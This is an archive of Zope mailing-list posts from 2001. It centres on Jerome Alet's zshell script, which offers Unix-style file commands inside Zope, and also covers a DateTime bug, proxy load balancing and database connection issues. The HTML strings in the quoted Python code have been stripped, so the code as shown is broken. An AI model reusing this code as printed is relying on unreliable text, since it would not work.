unlimited number of commands to launch in a single Zope > transaction, so feel free to combine these five commands to do some very > complicated stuff. Despite its current limitations it works fine here on > Zope 2.3.2+Hotfix0501. > > Please feel free to send me any comment about this software. > > Such similar functionnality included in Zope's core would make me VERY > happy. > > hoping this helps. > > Jerome Alet - alet@unice.fr > > ------------------------------------------------------------------------ > ## Script (Python) "zshell" > ##bind container=container > ##bind context=context > ##bind namespace= > ##bind script=script > ##bind subpath=traverse_subpath > ##parameters= > ##title=The Zope Shell > ## > # zshell - (c) 2001 Jerome Alet > # > # You're welcome to redistribute this software under the > # terms of the GNU General Public Licence version 2.0 > # or, at your option, any higher version. > # > # You can read the complete GNU GPL in the file COPYING > # which should come along with this software, or visit > # the Free Software Foundation's WEB site http://www.fsf.org > # > # author: Jerome Alet - > # > # > # This is the Zope shell, an attempt at making the most common > # Unix shell commands available from within Zope. > # > # As of May 3rd 2001, version 0.001, the following commands > # are recognized: > # > # cd, rm, mv, cp, ls > # > # * cd accepts a single path as an argument > # * rm accepts many path arguments > # * mv and cp last argument is the destination folder, every previous > # argument is an object id in the current folder > # * ls accepts many meta types as its arguments > # > # The future: > # > # in the future I'd be interested in adding more functionnalities > # as well as making it a complete Zope product, splitting it > # in one method per command, and making the accepted syntax much more > # match Unix shell's one. > # adding support for a find command is also high on my priority list > # > # Feel free to send me any feedback about this software at: alet@unice.fr > # > > import string > > def toObject(curdir, path) : > import string > path = string.strip(path) > if path[0] == '/' : > path = path[1:] > while hasattr(curdir, 'aq_parent') and (curdir.aq_parent is not None): > curdir = curdir.aq_parent > > components = filter(None, string.split(path, '/')) > for component in components : > if component == '.' : > continue > elif component == '..' : > if hasattr(curdir, 'aq_parent') and (curdir.aq_parent is not None): > curdir = curdir.aq_parent > elif hasattr(curdir, component) : > curdir = curdir[component] > else : > return None # Error > return curdir > > print context.standard_html_header.document_src() > > if context.REQUEST.has_key("commands") : > commands = filter(None, context.REQUEST["commands"]) > else : > commands = [] > > print '

' > print 'Enter your commands below:
' > print '' % string.join(commands, '\n') > print '
' > print '

' > > if commands : > print '

Results:' > current = context > for command in commands : > cmd = command[:2] > print '
%s: ' % cmd > if cmd == 'cd' : > path = command[3:] > newdir = toObject(current, path) > if (newdir is not None) and hasattr(newdir, 'meta_type') and (newdir.meta_type == 'Folder') : > current = newdir > print 'New folder is /%s' % newdir.absolute_url(relative=1) > else : > print 'Incorrect path %s' % path > print '[%s]' % repr(newdir) > elif (cmd == 'mv') or (cmd == 'cp') : > args = string.split(command[3:]) > if len(args) < 2 : > print 'Incorrect number of arguments' > else : > dst = args[-1] > srcs = args[:-1] > objids = [] > for src in srcs : > if '/' in src : > print 'Paths in source objects are not allowed at this time: %s' % src > else : > objids.append(src) > dsto = toObject(current, dst) > if dsto is None : > print 'Incorrect destination argument %s' % dst > continue > if dsto.meta_type != 'Folder' : > print 'Destination %s is not a folderish object' % dst > continue > if cmd == 'cp' : > clipboard = current.manage_copyObjects(ids = objids) > action = 'copied' > else : > clipboard = current.manage_cutObjects(ids = objids) > action = 'moved' > dsto.manage_pasteObjects(cb_copy_data = clipboard) > for oid in objids : > print '
%s %s' % (oid, action) > elif cmd == 'rm' : > objpaths = filter(None, string.split(string.strip(command[3:]))) > for objpath in objpaths : > object = toObject(current, objpath) > if object is None : > print 'Incorrect path %s' % objpath > else : > if hasattr(object, 'aq_parent') : > object.aq_parent.manage_delObjects(ids = [object.getId()]) > print "
/%s removed" % object.absolute_url(relative=1) > elif cmd == 'ls' : > metatypes = filter(None, string.split(string.strip(command[3:]))) > if metatypes : > objects = current.objectValues(metatypes) > else : > objects = current.objectValues() > if objects : > print '' > for object in objects : > title = object.title or ' ' > print '' % (object.getId(), title, object.meta_type) > print '
IdTitleMetaType
%s%s%s
' > else : > print 'Unknown command %s' % command > print '

' > > print context.standard_html_footer.document_src() > return printed From alet@unice.fr Fri May 4 10:55:32 2001 From: alet@unice.fr (Jerome Alet) Date: Fri, 4 May 2001 11:55:32 +0200 (MET DST) Subject: [Zope] [ANN] zshell: The Zope Shell In-Reply-To: <3AF27E1B.79745DF1@sferacarta.com> Message-ID: On Fri, 4 May 2001, Jose Soares wrote: > Where on can find Zope Shell version 0.001 ? > at http://www.zope.org/Members/sf/zopeshell > there's only... Sorry, it's not the same product. zshell 0.001 is just the script below, but expect a much much more powerful version in minutes. I'll announce it there. bye, Jerome > > ------------------------------------------------------------------------ > > ## Script (Python) "zshell" > > ##bind container=container > > ##bind context=context > > ##bind namespace= > > ##bind script=script > > ##bind subpath=traverse_subpath > > ##parameters= > > ##title=The Zope Shell > > ## > > # zshell - (c) 2001 Jerome Alet > > # > > # You're welcome to redistribute this software under the > > # terms of the GNU General Public Licence version 2.0 > > # or, at your option, any higher version. > > # > > # You can read the complete GNU GPL in the file COPYING > > # which should come along with this software, or visit > > # the Free Software Foundation's WEB site http://www.fsf.org > > # > > # author: Jerome Alet - > > # > > # > > # This is the Zope shell, an attempt at making the most common > > # Unix shell commands available from within Zope. > > # > > # As of May 3rd 2001, version 0.001, the following commands > > # are recognized: > > # > > # cd, rm, mv, cp, ls > > # > > # * cd accepts a single path as an argument > > # * rm accepts many path arguments > > # * mv and cp last argument is the destination folder, every previous > > # argument is an object id in the current folder > > # * ls accepts many meta types as its arguments > > # > > # The future: > > # > > # in the future I'd be interested in adding more functionnalities > > # as well as making it a complete Zope product, splitting it > > # in one method per command, and making the accepted syntax much more > > # match Unix shell's one. > > # adding support for a find command is also high on my priority list > > # > > # Feel free to send me any feedback about this software at: alet@unice.fr > > # > > > > import string > > > > def toObject(curdir, path) : > > import string > > path = string.strip(path) > > if path[0] == '/' : > > path = path[1:] > > while hasattr(curdir, 'aq_parent') and (curdir.aq_parent is not None): > > curdir = curdir.aq_parent > > > > components = filter(None, string.split(path, '/')) > > for component in components : > > if component == '.' : > > continue > > elif component == '..' : > > if hasattr(curdir, 'aq_parent') and (curdir.aq_parent is not None): > > curdir = curdir.aq_parent > > elif hasattr(curdir, component) : > > curdir = curdir[component] > > else : > > return None # Error > > return curdir > > > > print context.standard_html_header.document_src() > > > > if context.REQUEST.has_key("commands") : > > commands = filter(None, context.REQUEST["commands"]) > > else : > > commands = [] > > > > print '

' > > print 'Enter your commands below:
' > > print '' % string.join(commands, '\n') > > print '
' > > print '

' > > > > if commands : > > print '

Results:' > > current = context > > for command in commands : > > cmd = command[:2] > > print '
%s: ' % cmd > > if cmd == 'cd' : > > path = command[3:] > > newdir = toObject(current, path) > > if (newdir is not None) and hasattr(newdir, 'meta_type') and (newdir.meta_type == 'Folder') : > > current = newdir > > print 'New folder is /%s' % newdir.absolute_url(relative=1) > > else : > > print 'Incorrect path %s' % path > > print '[%s]' % repr(newdir) > > elif (cmd == 'mv') or (cmd == 'cp') : > > args = string.split(command[3:]) > > if len(args) < 2 : > > print 'Incorrect number of arguments' > > else : > > dst = args[-1] > > srcs = args[:-1] > > objids = [] > > for src in srcs : > > if '/' in src : > > print 'Paths in source objects are not allowed at this time: %s' % src > > else : > > objids.append(src) > > dsto = toObject(current, dst) > > if dsto is None : > > print 'Incorrect destination argument %s' % dst > > continue > > if dsto.meta_type != 'Folder' : > > print 'Destination %s is not a folderish object' % dst > > continue > > if cmd == 'cp' : > > clipboard = current.manage_copyObjects(ids = objids) > > action = 'copied' > > else : > > clipboard = current.manage_cutObjects(ids = objids) > > action = 'moved' > > dsto.manage_pasteObjects(cb_copy_data = clipboard) > > for oid in objids : > > print '
%s %s' % (oid, action) > > elif cmd == 'rm' : > > objpaths = filter(None, string.split(string.strip(command[3:]))) > > for objpath in objpaths : > > object = toObject(current, objpath) > > if object is None : > > print 'Incorrect path %s' % objpath > > else : > > if hasattr(object, 'aq_parent') : > > object.aq_parent.manage_delObjects(ids = [object.getId()]) > > print "
/%s removed" % object.absolute_url(relative=1) > > elif cmd == 'ls' : > > metatypes = filter(None, string.split(string.strip(command[3:]))) > > if metatypes : > > objects = current.objectValues(metatypes) > > else : > > objects = current.objectValues() > > if objects : > > print '' > > for object in objects : > > title = object.title or ' ' > > print '' % (object.getId(), title, object.meta_type) > > print '
IdTitleMetaType
%s%s%s
' > > else : > > print 'Unknown command %s' % command > > print '

' > > > > print context.standard_html_footer.document_src() > > return printed > From chrisw@nipltd.com Fri May 4 11:57:33 2001 From: chrisw@nipltd.com (Chris Withers) Date: Fri, 04 May 2001 11:57:33 +0100 Subject: [Zope] Uploading images - no image! References: <6CBE5E8F222DCA4C910079182C5C93E48DC77A@TERRASERVER.GEOSPACE.CO.ZA> Message-ID: <3AF28B1D.5586FED5@nipltd.com> Etienne Labuschagne wrote: > > Yes, but even if I change that to image/jpeg it still doesn't show - I'll > double check. Can you post the HTML of your form? cheers, Chris From chrisw@nipltd.com Fri May 4 11:58:55 2001 From: chrisw@nipltd.com (Chris Withers) Date: Fri, 04 May 2001 11:58:55 +0100 Subject: [Zope] Getting an object from id References: <6CBE5E8F222DCA4C910079182C5C93E48DC77B@TERRASERVER.GEOSPACE.CO.ZA> Message-ID: <3AF28B6F.51DC15BB@nipltd.com> Etienne Labuschagne wrote: > > This causes an AttributeError type with value validate. This probably mean > that this way of aquiring an object is not available in Python Methods, but > only in external Python Methods. I would prefer to use a Python Method and > not an external method. Do you mean Python Method or Python Script? cheers, Chris From alet@unice.fr Fri May 4 12:08:32 2001 From: alet@unice.fr (Jerome Alet) Date: Fri, 4 May 2001 13:08:32 +0200 (MET DST) Subject: [Zope] [ANN] ZShell 0.1 Message-ID: Hi, I'm very pleased to announce the new version of the Zope Shell. You can download this GPLed external method from: http://cortex.unice.fr/~jerome/zshell/ Current version is 0.1 and replaces 0.001 Delete your old version an install this one, you'll probably love it ! List of available commands (expect more soon): deluser delete users adduser add users lrole add/delete local roles whoami current username pack pack database restart restart zope save save versions (untested) discard discard versions (untested) copy copy to clipboard cut cut to clipboard paste paste from clipboard import import objects chown change owner (doesn't work) man shows help whatis alias to man help alias to man apropos alias to man about about ZShell google launch a query on google wget suck websites (not finished) mkdir create folders recursively pwd shows current working folder cd change current folder rm delete objects recursively mv move objects (doesn't rename yet) cp copy objects ls list objects Any help and constructive criticism is appreciated. Hints: * ls accepts meta types as its arguments, this may change soon. * multiple commands must be separated by newlines, not ; for now. * you can use a stylesheet named zshell.css * absolute paths may not work completely, help needed. * use the man command for the rest. Thanks to Peter Bengtsson and Simon Michael ! hoping you'll find it as useful as I do... Jerome Alet - alet@unice.fr From juliodinis@hotmail.com Fri May 4 12:31:33 2001 From: juliodinis@hotmail.com (Júlio Dinis Silva) Date: Fri, 04 May 2001 12:31:33 +0100 Subject: [Zope] Fwd: Re: [Zope-dev] Zope Server hanging :-( - Implement timeout Message-ID: >From: Chris Withers >To: JXlio Dinis Silva >Subject: Re: [Zope-dev] Zope Server hanging :-( >Date: Fri, 04 May 2001 11:36:06 +0100 > >JXlio Dinis Silva wrote: > > > > I've implemented on my running zopes the timeoutsocket.py module > > http://www.timo-tasi.org/python/timeoutsocket.py > > -copy timeoutsocket.py to your zope home > > -on bottom of z2.py call, before the "# Start Medusa, Ye Hass!", > > > > import timeoutsocket > > timeoutsocket.setDefaultSocketTimeout(120) > > > > and after that any script you have that uses a httplib, smtplib, etc > > only runs for 120 seconds in case it falls into zombie, off course > > you can tune this period of time according to your needs. > >wow... thanks, this could be really really useful :-) > >Chris _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. From jferrer@germinus.com Fri May 4 12:49:02 2001 From: jferrer@germinus.com (Jorge Ferrer) Date: Fri, 4 May 2001 13:49:02 +0200 Subject: [Zope] Problem migrating a producto to Zope 2.3 Message-ID: <01050413490207.05680@escher> Hi all, I've developed a product for an Intranet using Zope 2.1 and I'm trying to migrate to Zope 2.3. Almost everything han gone fine as I haven't used any advanced feature, but I have some problems with the ZClasses which inherit from OFS:File. BTW, the product consists on a container ZClass and several other ZClasses which represent different types of documents. Here is what I've done: I installed Zope 2.3.1 on a new machine and installed my product through a distribution file placed on the products directory. When I make an instance of the Container ZClass everything goes well and I can even make instances of some of the other ZClasses. But everytime I try to make an instance of a ZClass which holds a file (by inheriting from OFS:File) I get the following error: =========================== Error Type: TypeError Error Value: unsliceable object Traceback (innermost last): File /usr/lib/zope/lib/python/ZPublisher/Publish.py, line 223, in publish_module File /usr/lib/zope/lib/python/ZPublisher/Publish.py, line 187, in publish File /usr/lib/zope/lib/python/Zope/__init__.py, line 221, in zpublisher_exception_hook File /usr/lib/zope/lib/python/ZPublisher/Publish.py, line 171, in publish File /usr/lib/zope/lib/python/ZPublisher/mapply.py, line 160, in mapply (Object: HtmlDocumentCreationPage) File /usr/lib/zope/lib/python/ZPublisher/Publish.py, line 112, in call_object (Object: HtmlDocumentCreationPage) File /usr/lib/zope/lib/python/OFS/DTMLMethod.py, line 189, in __call__ (Object: HtmlDocumentCreationPage) File /usr/lib/zope/lib/python/DocumentTemplate/DT_String.py, line 538, in __call__ (Object: HtmlDocumentCreationPage) File /usr/lib/zope/lib/python/DocumentTemplate/DT_With.py, line 133, in render (Object: HtmlDocument.createInObjectManager(REQUEST['id'], REQUEST)) File /usr/lib/zope/lib/python/DocumentTemplate/DT_Util.py, line 334, in eval (Object: HtmlDocument.createInObjectManager(REQUEST['id'], REQUEST)) (Info: HtmlDocument) File <string>, line 0, in ? File /usr/lib/zope/lib/python/ZClasses/ZClass.py, line 543, in createInObjectManager (Object: HtmlDocument) File /usr/lib/zope/lib/python/OFS/ObjectManager.py, line 265, in _getOb (Object: CatalogAware) TypeError: (see above) =========================== Doew anybody know what it means? How could I solve it? Any help will be greatly appreciated :-) Jorge From etiennel@geospace.co.za Fri May 4 12:32:29 2001 From: etiennel@geospace.co.za (Etienne Labuschagne) Date: Fri, 4 May 2001 13:32:29 +0200 Subject: FW: [Zope] Getting an object from id Message-ID: <6CBE5E8F222DCA4C910079182C5C93E48DC77F@TERRASERVER.GEOSPACE.CO.ZA> Hi there It is the object that is reffered to as a Python Method in the add box of the management screen. In simple terms, the one where you write the Python code in the browser window and not as an external .py file in the extensions dir. Regards Etienne -----Original Message----- From: Chris Withers [mailto:chrisw@nipltd.com] Sent: Friday, May 04, 2001 12:59 PM To: Etienne Labuschagne Cc: Zope user list (E-mail) Subject: Re: [Zope] Getting an object from id Etienne Labuschagne wrote: > > This causes an AttributeError type with value validate. This probably mean > that this way of aquiring an object is not available in Python Methods, but > only in external Python Methods. I would prefer to use a Python Method and > not an external method. Do you mean Python Method or Python Script? cheers, Chris From jose@sferacarta.com Fri May 4 13:07:00 2001 From: jose@sferacarta.com (Jose Soares) Date: Fri, 04 May 2001 14:07:00 +0200 Subject: [Zope] [ANN] ZShell 0.1 References: Message-ID: <3AF29B63.EBB3BD9F@sferacarta.com> Very interesting Jerome. Maybe we can have also: - grep: to search patterns into documents - find or locate: to recursively search for a document name - sed: to change text in documents Jose' Jerome Alet wrote: > Hi, > > I'm very pleased to announce the new version of the Zope Shell. > > You can download this GPLed external method from: > > http://cortex.unice.fr/~jerome/zshell/ > > Current version is 0.1 and replaces 0.001 > > Delete your old version an install this one, you'll probably love it ! > > List of available commands (expect more soon): > > deluser delete users > adduser add users > lrole add/delete local roles > whoami current username > pack pack database > restart restart zope > save save versions (untested) > discard discard versions (untested) > copy copy to clipboard > cut cut to clipboard > paste paste from clipboard > import import objects > chown change owner (doesn't work) > man shows help > whatis alias to man > help alias to man > apropos alias to man > about about ZShell > google launch a query on google > wget suck websites (not finished) > mkdir create folders recursively > pwd shows current working folder > cd change current folder > rm delete objects recursively > mv move objects (doesn't rename yet) > cp copy objects > ls list objects > > Any help and constructive criticism is appreciated. > > Hints: > * ls accepts meta types as its arguments, this may change soon. > * multiple commands must be separated by newlines, not ; for now. > * you can use a stylesheet named zshell.css > * absolute paths may not work completely, help needed. > * use the man command for the rest. > > Thanks to Peter Bengtsson and Simon Michael ! > > hoping you'll find it as useful as I do... > > Jerome Alet - alet@unice.fr > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From alet@unice.fr Fri May 4 13:00:57 2001 From: alet@unice.fr (Jerome Alet) Date: Fri, 4 May 2001 14:00:57 +0200 (MET DST) Subject: [Zope] [ANN] ZShell 0.1 In-Reply-To: <3AF29B63.EBB3BD9F@sferacarta.com> Message-ID: On Fri, 4 May 2001, Jose Soares wrote: > Very interesting Jerome. Maybe we can have also: > > - grep: to search patterns into documents > - find or locate: to recursively search for a document name > - sed: to change text in documents grep and find were planned, I can add sed but I don't know how it works though. bye, Jerome Alet From hofmann@isl.org Fri May 4 13:23:40 2001 From: hofmann@isl.org (Kai Hofmann) Date: Fri, 4 May 2001 14:23:40 +0200 Subject: [Zope] DateTime() BUG! Message-ID: <3AF2BB03.27651.36725DA6@localhost> I am still a stupid beginner to Zope, but when I am not completly wrong, then I have found another BUG within ZOPE's DateTime(): (pseudo syntax): enddate=3D2001/05/04 DateTime().lessThanEqualTo(enddate) results for today (2001/05/04) into FALSE !!! I can only assume that this happens, because the DateTime() returns a date and a time - where enddate is only a date .... Can someone verify this and report the bug to the developers??? Its really important for me!! Thanks Kai --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From etiennel@geospace.co.za Fri May 4 13:26:59 2001 From: etiennel@geospace.co.za (Etienne Labuschagne) Date: Fri, 4 May 2001 14:26:59 +0200 Subject: [Zope] Getting an object from id Message-ID: <6CBE5E8F222DCA4C910079182C5C93E48DC780@TERRASERVER.GEOSPACE.CO.ZA> I have used the following method successfully: parameter passed: objectId folder where I must retrieve the object with the name id from: fooFolder I use the following code: o = self.fooFolder.restrictedTraverse(objectId) This works in a Python Method (the one where you type the Python code in the browser) and is probably a valid way to do it. If there are still better ways, let me know! Etienne -----Original Message----- From: Etienne Labuschagne [mailto:etiennel@geospace.co.za] Sent: Friday, May 04, 2001 1:32 PM To: Zope user list (E-mail) Subject: FW: [Zope] Getting an object from id Hi there It is the object that is reffered to as a Python Method in the add box of the management screen. In simple terms, the one where you write the Python code in the browser window and not as an external .py file in the extensions dir. Regards Etienne -----Original Message----- From: Chris Withers [mailto:chrisw@nipltd.com] Sent: Friday, May 04, 2001 12:59 PM To: Etienne Labuschagne Cc: Zope user list (E-mail) Subject: Re: [Zope] Getting an object from id Etienne Labuschagne wrote: > > This causes an AttributeError type with value validate. This probably mean > that this way of aquiring an object is not available in Python Methods, but > only in external Python Methods. I would prefer to use a Python Method and > not an external method. Do you mean Python Method or Python Script? cheers, Chris _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From tdickenson@geminidataloggers.com Fri May 4 13:29:27 2001 From: tdickenson@geminidataloggers.com (Toby Dickenson) Date: Fri, 04 May 2001 13:29:27 +0100 Subject: [Zope] Apache/Zope: methods for serving high traffic? In-Reply-To: References: Message-ID: <2h65ft4g8rjs24rnugj3473utdud4u9r9p@4ax.com> On Thu, 03 May 2001 13:31:50 -0700, sean.upton@uniontrib.com wrote: I spent some time planning a site with similar characteristics last year... The project was canned before it got out of a lab environment, so I can only offer untested advice. > a. >[REQUEST]->(LOADBALANCER)->(SQUID+REDIRECTOR)->(APACHE)->(ZSERVER) > b. >[REQUEST]->(LOADBALANCER)->(SQUID+REDIRECTOR)->(APACHE)->(PCGI)->(ZOPE) > c. [REQUEST]->(LOADBALANCER)->(SQUID+REDIRECTOR)->(ZSERVER) You have a squid in this mix, which you say you are using as a redirector only. How important is caching to you? In my project caching was all important; cache misses were very expensive In all of those scenarios squid will cache based on the post-redirector url. If you are load balancing between n back-end servers then you will need n times larger cache space, and can expect a smaller cache hit ratio (worst case; n times smaller) What type of load balancing processing are you planning for the squid redirector? If just a random selection, are you aware than Apache's mod_rewrite can do that? (some of Apache's other features make it attactive for the front-end of this proxy pipeline, but squid is not a bad choice either) Unlike in your application, we expected that ZEO-server latency would be a significant factor. To reduce latency in filling ZEO client caches we were planning to distribute load between back-end Zope's based on dataset affinity..... That is preferring to send a request to a Zope that has recently handled a different request for the same data. We looked at doing this in a squid redirector, but it is not so easy to share state between the multiple redirector processes. Eventually we chose to implement this in a new http proxy. Our final configuration looked like: REQUEST->(LoadBalancer)->[(Apache)->(Squid)->(redirector)]->[(ZServer)] Toby Dickenson tdickenson@geminidataloggers.com From jose@sferacarta.com Fri May 4 13:51:08 2001 From: jose@sferacarta.com (Jose Soares) Date: Fri, 04 May 2001 14:51:08 +0200 Subject: [Zope] [ANN] ZShell 0.1 References: Message-ID: <3AF2A5BC.86E655@sferacarta.com> Seems that command cd doesn't work aproperly. If I do the following commands: ------------------------------- pwd cd img ------------------------------- Results: pwd: /ALLEVATORI cd: New folder is /ALLEVATORI/img again: -------------------------------- pwd -------------------------------- Results: pwd: /ALLEVATORI --------------------------- It should be /ALLEVATORI/img isn't it? Jose' Jerome Alet wrote: > Hi, > > I'm very pleased to announce the new version of the Zope Shell. > > You can download this GPLed external method from: > > http://cortex.unice.fr/~jerome/zshell/ > > Current version is 0.1 and replaces 0.001 > > Delete your old version an install this one, you'll probably love it ! > > List of available commands (expect more soon): > > deluser delete users > adduser add users > lrole add/delete local roles > whoami current username > pack pack database > restart restart zope > save save versions (untested) > discard discard versions (untested) > copy copy to clipboard > cut cut to clipboard > paste paste from clipboard > import import objects > chown change owner (doesn't work) > man shows help > whatis alias to man > help alias to man > apropos alias to man > about about ZShell > google launch a query on google > wget suck websites (not finished) > mkdir create folders recursively > pwd shows current working folder > cd change current folder > rm delete objects recursively > mv move objects (doesn't rename yet) > cp copy objects > ls list objects > > Any help and constructive criticism is appreciated. > > Hints: > * ls accepts meta types as its arguments, this may change soon. > * multiple commands must be separated by newlines, not ; for now. > * you can use a stylesheet named zshell.css > * absolute paths may not work completely, help needed. > * use the man command for the rest. > > Thanks to Peter Bengtsson and Simon Michael ! > > hoping you'll find it as useful as I do... > > Jerome Alet - alet@unice.fr > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Fri May 4 13:47:44 2001 From: chrism@digicool.com (Chris McDonough) Date: Fri, 04 May 2001 08:47:44 -0400 Subject: [Zope] DateTime() BUG! References: <3AF2BB03.27651.36725DA6@localhost> Message-ID: <3AF2A4F0.C9A909C5@digicool.com> Kai Hofmann wrote: > (pseudo syntax): > enddate=2001/05/04 > > DateTime().lessThanEqualTo(enddate) > > results for today (2001/05/04) into FALSE !!! > > I can only assume that this happens, because the DateTime() returns > a date and a time - where enddate is only a date .... > > Can someone verify this and report the bug to the developers??? > Its really important for me!! Hi Kai... you just did. ;-) Do you think you can put this in the Collector at http://classic.zope.org:8080/Collector ? Otherwise it may float away on the stream of messages to the list. - C From alet@unice.fr Fri May 4 13:47:53 2001 From: alet@unice.fr (Jerome Alet) Date: Fri, 4 May 2001 14:47:53 +0200 (MET DST) Subject: [Zope] [ANN] ZShell 0.1 In-Reply-To: <3AF2A5BC.86E655@sferacarta.com> Message-ID: On Fri, 4 May 2001, Jose Soares wrote: > Seems that command cd doesn't work aproperly. > If I do the following commands: > ------------------------------- > pwd > cd img > ------------------------------- > Results: > pwd: /ALLEVATORI > cd: New folder is /ALLEVATORI/img > > again: > -------------------------------- > pwd > -------------------------------- > Results: > pwd: /ALLEVATORI > > --------------------------- > It should be /ALLEVATORI/img isn't it? Yes, but it wasn't coded this way. Actually (in 0.1) to successive Run! are independant one from the other, and the current working folder is not remembered. This is corrected in CVS, however. Please wait one hour or two and I'll put a 0.2 online at http://cortex.unice.fr/~jerome/zshell/ The CVS version also corrects part of the incorrect handling of the folder hierarchy: it's better now, but absolute paths are still problematic. I'll try to make wget work before publishing 0.2 bye, Jerome From jose@sferacarta.com Fri May 4 14:07:06 2001 From: jose@sferacarta.com (Jose Soares) Date: Fri, 04 May 2001 15:07:06 +0200 Subject: [Zope] [ANN] ZShell 0.1 References: Message-ID: <3AF2A97A.7AA923E6@sferacarta.com> Jerome Alet wrote: > On Fri, 4 May 2001, Jose Soares wrote: > > > Very interesting Jerome. Maybe we can have also: > > > > - grep: to search patterns into documents > > - find or locate: to recursively search for a document name > > - sed: to change text in documents > > grep and find were planned, I can add sed but I don't know how it works > though. Fine. Actually I'm using a version of zopesh implemented by me with such commands and I find those very useful. IMHO this is the very powerful of a shell. The other day I needed to change the words: with in a great number of documents using sed 's///g' * I did this job in a while. Imagine you what hard work searching and changing it by hand. Jose' From andreas@digicool.com Fri May 4 14:06:07 2001 From: andreas@digicool.com (Andreas Jung) Date: Fri, 4 May 2001 09:06:07 -0400 Subject: [Zope] DateTime() BUG! References: <3AF2BB03.27651.36725DA6@localhost> <3AF2A4F0.C9A909C5@digicool.com> Message-ID: <01d401c0d49a$fb8c9380$d0063bd0@SUXLAP> DateTime.lessThanEqualTo() expects a DateTime instance or a floating point number. So you pass a wrong argument. But I admit the error handling should be better at this point :-) Andreas ----- Original Message ----- From: "Chris McDonough" To: Cc: Sent: Friday, May 04, 2001 8:47 AM Subject: Re: [Zope] DateTime() BUG! > Kai Hofmann wrote: > > (pseudo syntax): > > enddate=2001/05/04 > > > > DateTime().lessThanEqualTo(enddate) > > > > results for today (2001/05/04) into FALSE !!! > > > > I can only assume that this happens, because the DateTime() returns > > a date and a time - where enddate is only a date .... > > > > Can someone verify this and report the bug to the developers??? > > Its really important for me!! > > Hi Kai... you just did. ;-) > > Do you think you can put this in the Collector at > http://classic.zope.org:8080/Collector ? Otherwise it may float away on > the stream of messages to the list. > > - C > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From marcus.schopen@uni-bielefeld.de Fri May 4 14:29:06 2001 From: marcus.schopen@uni-bielefeld.de (Marcus Schopen) Date: Fri, 04 May 2001 15:29:06 +0200 (CEST) Subject: [Zope] TinyTablePlus: get next row? Message-ID: <988982946.3af2aea2dede4@marcus.localguru.de> Hi, is there a possibility to get the next row? Thank you Marcus From miket@hilgraeve.com Fri May 4 14:39:06 2001 From: miket@hilgraeve.com (Mike Thompson) Date: Fri, 4 May 2001 09:39:06 -0400 Subject: [Zope] SybaseDAv2 Message-ID: <00a001c0d49f$98b17870$86db5bcf@mthompson> This is a multi-part message in MIME format. ------=_NextPart_000_009D_01C0D47E.0FDD19D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, We are using the Zope - Sybase DA (SybaseDAv2) to interface multiple = application servers to a Sybase 11.9.2 backend server. Both are running = Redhat 6.2. Periodically, the database connection is being lost on one = or more of the application servers. When this happens, the DA database = connection cannot be re-established until zope is restarted. Any = requests made give the error ' is not connected to a database'. = Access is no problem with the isql client from the same machine. It = seems to me that the DA is getting into a state where it is blocking db = requests for some reason. Has anyone else seen this type of behavior? Is = there a fix or workaround? Thanks in advance, Mike Thompson Hilgraeve Inc. ------=_NextPart_000_009D_01C0D47E.0FDD19D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
 
We are using the Zope - Sybase DA = (SybaseDAv2) to=20 interface multiple application servers to a Sybase 11.9.2 backend = server.=20 Both are running Redhat 6.2. Periodically, the database connection is = being lost=20 on one or more of the application servers. When this happens, the DA = database=20 connection cannot be re-established until zope is restarted. Any = requests=20 made give the error '<method> is not connected to a database'. = Access is=20 no problem with the isql client from the same machine. It seems to me = that the=20 DA is getting into a state where it is blocking db requests for some = reason. Has=20 anyone else seen this type of behavior? Is there a fix or=20 workaround?
 
Thanks in advance,
Mike Thompson
Hilgraeve = Inc.
------=_NextPart_000_009D_01C0D47E.0FDD19D0-- From alet@unice.fr Fri May 4 14:56:03 2001 From: alet@unice.fr (Jerome Alet) Date: Fri, 4 May 2001 15:56:03 +0200 (MET DST) Subject: [Zope] [ANN] ZShell 0.2 Message-ID: Hi again, the 0.2 version of the Zope Shell is online at: http://cortex.unice.fr/~jerome/zshell/ New features: * bug corrections * a better whoami, thanks to Peter Bengtsson * wget now works and allows you to suck websites (not recursively yet) and put them into the ZODB. enjoy ! Jerome Alet - alet@unice.fr From jojo@farm9.com Fri May 4 15:02:16 2001 From: jojo@farm9.com (Joh Johannsen) Date: Fri, 04 May 2001 07:02:16 -0700 Subject: [Zope] Session scoped variables References: Message-ID: <3AF2B668.8FECFBB1@farm9.com> Install the CoreSessionTracking product 1. create Session Id Manager at highest level you might ever need sessions, use default values (i.e. ignore the options it presents to you, just click "Add") 2. create Session Data Manager in the same folder, give it the name "whyDoIhaveToCreateThisThing" 3. in your standard_html_header (or someplace called by every page, add): otherwise you have to do: ...now I have a sessionData object! After these three steps, you basically have the equivalent of the much easier to comprehend SQLSession interface (SQL session not as complete however, to get it working you have to create database tables and implement garbage collection ... with core session, nothing left to do) sessionData.get('key') sessionData.set('key',value) sessionData.delete('key') sessionData.has_key('key') Regards, JJ Tommy Johnson wrote: > > Ok, now I have another question. How do you maintain state within Zope? I'm > particularly interested in session scoped variables. Currently I'm trying to > learn Zope by building an e-commerce application, and in all other > languages, (ASP, ColdFusion, etc...) you have session scope available to you > in order to track individual users, their individual shopping carts, > customer info, etc. 